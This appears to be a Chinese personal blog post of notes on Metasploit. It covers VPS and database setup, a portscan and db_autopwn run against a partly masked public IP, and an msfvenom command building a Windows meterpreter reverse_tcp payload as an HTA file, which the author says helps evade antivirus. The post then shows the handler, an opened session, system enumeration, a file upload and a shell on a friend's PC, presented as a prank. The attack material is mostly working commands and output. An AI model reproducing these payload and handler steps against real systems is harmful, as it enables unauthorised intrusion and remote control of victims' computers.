0%

metasploit 使用笔记

Zebork的黑客之路进行的颇为不同寻常,metasploit是第一个接触到的工具,很少有做渗透的人刚开始会研究这个内网渗透神器吧。对于metasploit研究必须搁置一段时间,因为要花更多的时间去研究Web渗透和软件漏洞(软件漏洞是因为人在江湖,身不由己)。有必要把现在学会的metasploit一些坑点记下来,等到真正开始内网渗透的时候就不会再陷入坑中。

0x01 metasploit初始化服务和数据库

metasploit初始化服务还是比较简单的,本人没有遇到什么困难,记得打开msfconsole之前敲一段命令。下面代码中的第一行。第二行现在新版的metasploit应该是不能用了,但是敲一下试试,万一运气好呢。

1
2
service metasploit start
service postgresql start

先打开msfconsole,输入db_status查看数据库连接状态

发现没有连接。

本人实在Debian vps上尝试搭建metasploit而不是kali,所以先下载postgresql。

1
2
apt-get install postgresql
service postgresql start

发现服务开启成功。

坑爹的情况出现了,vps 1G内存已经不够用了。。

看来加载metasploit攻击环境的vps是需要很大的内存的,把这个vps进行resize,增大一下内存。但是这样的vps价格达到了20$每月,平时的时候存储为镜像是个不错的选择,想要攻击的时候再通过镜像创建vps。

resize之后重新打开vps,开启服务,打开msfconsole,看到数据库已经连接完成。

msfconsole中可以打开nmap,不要忘了先apt-get安装

0x02 metasploit自动化攻击模块

准备工作是需要做好的,因为新版的msf中并没有自动化攻击脚本,我们需要自己下载。我已经下载好了一个。

自动攻击模块下载

先尝试load这个模块,发现找不到,其实我是想看一下应该保存在哪里。

再次尝试load

用portscan和db_autopwn演示一下自动攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds

msf auxiliary(tcp) > set RHOSTS 112.XX.XX.XX
RHOSTS => 112.XX.XX.XX
msf auxiliary(tcp) > set THREADS 20
THREADS => 20
msf auxiliary(tcp) > run

当扫描完成之后,可以开始自动化攻击。

1
2
3
4
5
6
7
8
9
10
11
msf auxiliary(tcp) > db_autopwn -t -p -r -e
[-] The db_autopwn command is DEPRECATED
[-] See http://r-7.co/xY65Zr instead
[-]
[-] Warning: The db_autopwn command is not officially supported and exists only in a branch.
[-] This code is not well maintained, crashes systems, and crashes itself.
[-] Use only if you understand it's current limitations/issues.
[-] Minimal support and development via neinwechter on GitHub metasploit fork.
[-]
[*] Analysis completed in 41 seconds (0 vulns / 0 refs)

接下来自动化攻击开始。

一般情况下拿不到session,跑着吧

0x03 msfvenom payload

好玩的来了。

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=175.xxx.xxx.xxx lport=8081 -f hta-psh -o test.hta

一般来说windows的payload多为exe格式,但是win7之后可以尝试使用hta,更容易达到免杀的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:

Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LHOST XX.XX.XX.XX
LHOST => XX.XX.XX.XX
msf exploit(handler) > set LPORT 8081
LPORT => 8081
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST XX.XX.XX.XX yes The listen address
LPORT 8081 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit

[*] Started reverse TCP handler on XX.XX.XX.XX:8081
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to XX.XX.XX.XX
[*] Meterpreter session 1 opened (XX.XX.XX.XX:8081 -> XX.XX.XX.XX:3186) at 2016-03-24 09:47:00 -0400

键入help命令

1
2
3
4
5
6
7
8
9
10
11
meterpreter > getuid
Server username: XXXXX\XXXX
meterpreter > sysinfo
Computer : XXXXX-PC
OS : Windows 10 (Build 10586).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/win64
meterpreter >

其实我是用哥们的电脑测试的,为了好玩,我给他上传了一个txt

1
2
3
4
5
6
7
8
9
meterpreter > upload /tmp/hello.txt
[*] uploading : /tmp/hello.txt -> /tmp/hello.txt
[*] uploaded : /tmp/hello.txt -> /tmp/hello.txt
meterpreter > shell
...
C:\tmp>notepad hello.txt
notepad hello.txt

C:\tmp>

然后就可以听到哥们的叫声啦~